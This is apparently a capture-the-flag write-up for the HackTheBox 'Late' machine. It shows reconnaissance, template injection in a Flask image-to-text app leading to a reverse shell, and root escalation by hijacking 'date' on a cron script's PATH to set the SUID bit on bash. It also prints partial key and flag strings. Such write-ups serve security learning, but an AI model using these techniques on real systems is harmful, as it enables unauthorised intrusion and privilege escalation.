IP -> 10.10.11.156
We start by running an nmap scan “nmap -p- -v -sCV 10.10.11.156”
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 (RSA)
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb (ECDSA)
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-title: Late - Best online image tools
|_http-favicon: Unknown favicon MD5: 1575FDF0E164C3DB0739CF05D9315BDF
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
We only have two services running, ssh and HTTP. Let’s check the site.
Looking through the page I found a link with a domain and subdomain.
The link goes to http://images.late.htb/ . Let’s add the domain to our /etc/hosts file
10.10.11.156 late.htb images.late.htb
Now let’s access the link!
Looks like we have an application written in python using Flask! Let’s try submitting an image.
The image I will upload is this one:
It gave us a file back called “results.txt”. These are the contents:
<p>If you want to turn an image into a text document, you came to the right place.</p>
So it looks like it does what it says it does. It gets images, extracts the text and gives it to you back!.
Flask uses jinja2 for html templates and since the result has the <p> tag in it let’s check for SSTI.
This will be the image I upload:
And I get this back:
<p>2</p>
Great! We got SSTI. Let’s try a reverse shell.
My image:
And we get a shell!:
$ nc -lvnp 1234
Connection from 10.10.11.156:37238
sh: 0: can't access tty; job control turned off
$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
Let’s stabilise the shell.
[javier@K4oS late]$ nc -lvnp 1234
Connection from 10.10.11.156:37246
sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
svc_acc@late:~/app$ export TERM=xterm
export TERM=xterm
svc_acc@late:~/app$ ^Z
[1]+ Stopped nc -lvnp 1234
[javier@K4oS late]$ stty raw -echo; fg
nc -lvnp 1234
svc_acc@late:~/app$
Now that we stabalised our shell let’s enumerate sudo permission, cronjobs and setUID binaries.
svc_acc@late:~/app$ sudo -l
[sudo] password for svc_acc:
svc_acc@late:~/app$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
svc_acc@late:~/app$ find / -perm -4000 2>/dev/null
/usr/sbin/pppd
/usr/sbin/sensible-mda
/usr/bin/chfn
/usr/bin/newuidmap
/usr/bin/passwd
/usr/bin/traceroute6.iputils
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/arping
/usr/bin/procmail
/usr/bin/newgidmap
/usr/bin/gpasswd
/usr/bin/at
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/bin/fusermount
/bin/mount
/bin/su
/bin/ping
/bin/umount
Nothing interesting here. Let’s try running pspy64 to check if the some cronjob is running but we can’t see it.
./pspy64s
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2022/06/08 13:34:01 CMD: UID=0 PID=4066 | /bin/sh -c /root/scripts/cron.sh
2022/06/08 13:34:01 CMD: UID=0 PID=4065 | /usr/sbin/CRON -f
2022/06/08 13:34:01 CMD: UID=0 PID=4064 | /usr/sbin/CRON -f
2022/06/08 13:34:01 CMD: UID=0 PID=4072 | cp /root/scripts/ssh-alert.sh /usr/local/sbin/ssh-alert.sh
We can see the /root/scripts/cron.sh script is running every time we login via ssh and then and executes the cp command. Let’s check the contents of this file.
#!/bin/bash
RECIPIENT="[email protected]"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
Okay. We say that in the /etc/crontab file the path was specified (PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin). Let’s check if we can edit files inside any of those directories.
svc_acc@late:/tmp/.K4oS$ ls -la /usr/local/sbin
total 12
drwxr-xr-x 2 svc_acc svc_acc 4096 Jun 8 13:36 .
drwxr-xr-x 10 root root 4096 Aug 6 2020 ..
-rwxr-xr-x 1 svc_acc svc_acc 433 Jun 8 13:36 ssh-alert.sh
We can write files! But unfortunately, we can’t edit the main ssh-alert.sh script. The script it is running is calling the executable programs without their full path, therefore it looks in each of the directories in the PATH variable and if the executable is inside there it gets executed. We are lucky in this case since we can add our files to the first entry of the PATH variable. Meaning that when the script runs the command “date”, if we write our own /usr/local/sbin/date what we put inside that file will get executed as root.
So let’s create the /usr/local/sbin/date file with these contents:
#!/bin/sh
chmod +s /bin/bash
This will add the setUID bit to bash allowing us to execute bash as root. Now we have to add permissions so the file is executable:
$ chmod +x /usr/local/sbin/date
And now we trigger the script! Let’s copy the id_rsa of our user:
$ cat ~/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAqe5XWFKVqleCyfzPo4HsfRR8uF/P/3Tn+fiAUHhnGvBBAyrM
HiP3S/DnqdIH2uqTXdPk4eGdXynz...
We paste this into a file in our system and change the permissions:
$ chmod 600 id_rsa
Now we trigger the script by running this in our main system:
$ ssh -i id_rsa [email protected]
And we should see this if we run it!:
$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1113504 Jun 6 2019 /bin/bash
Now to avoid other users from executing bash as root we do:
$ chmod -s /bin/bash
And now we can read the root flag!:
$ id
uid=1000(svc_acc) gid=1000(svc_acc) euid=0(root) egid=0(root) groups=0(root),1000(svc_acc)
$ cat /root/root.txt
b50adee4f70b23152f...
I hope you liked this!